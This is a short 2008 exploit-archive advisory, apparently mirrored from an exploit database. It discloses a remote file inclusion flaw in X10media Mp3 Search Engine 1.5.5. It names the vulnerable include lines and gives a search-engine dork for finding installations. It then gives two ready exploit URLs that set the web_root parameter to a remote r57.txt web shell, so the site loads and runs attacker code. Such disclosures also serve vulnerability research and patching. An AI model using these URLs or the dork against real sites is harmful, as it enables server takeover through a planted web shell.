[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : X10media Mp3 Search Engine 1.5.5 Remote File Inclusion Vulnerability
# Published : 2008-09-17
# Author : THUNDER
# Previous Title : Technote 7 (shop_this_skin_path) Remote File Inclusion Vulnerability
# Next Title : Femitter FTP Server 1.03 (RETR) Remote Denial of Service Exploit PoC
################## THUNDER #########################################################
#
#
# X10media Mp3 Search Engine v1.5.5 Remote File Inclusion Vulnerability
#
# Founded by : THUNDER <t4h[at]hotmail.fr>
# Dork: "This search engine is in no way intended for illegal downloads."
#
##### Vuln Code: ###################################################################
#
# file : /includes/function_core.php
# -88.- include ($web_root."js/Mp3Player.php");
#
#-----------------------------------------------------------------
#
# file : /templates/layout_lyrics.php
# .5.- include ($web_root."includes/function_list.php");
#
###### Exploit #####################################################################
#
# http://www.target.com/[path]/includes/function_core.php?web_root=http://127.0.0.1/r57.txt?
#
# http://www.target.com/[path]/templates/layout_lyrics.php?web_root=http://127.0.0.1/r57.txt?
#
#
#
###### Greets #######################################################################
#
# MoRoCcan InjEctor5 Te4m and All Hackers
#
####################################################################################
# www.Syue.com [2008-09-17]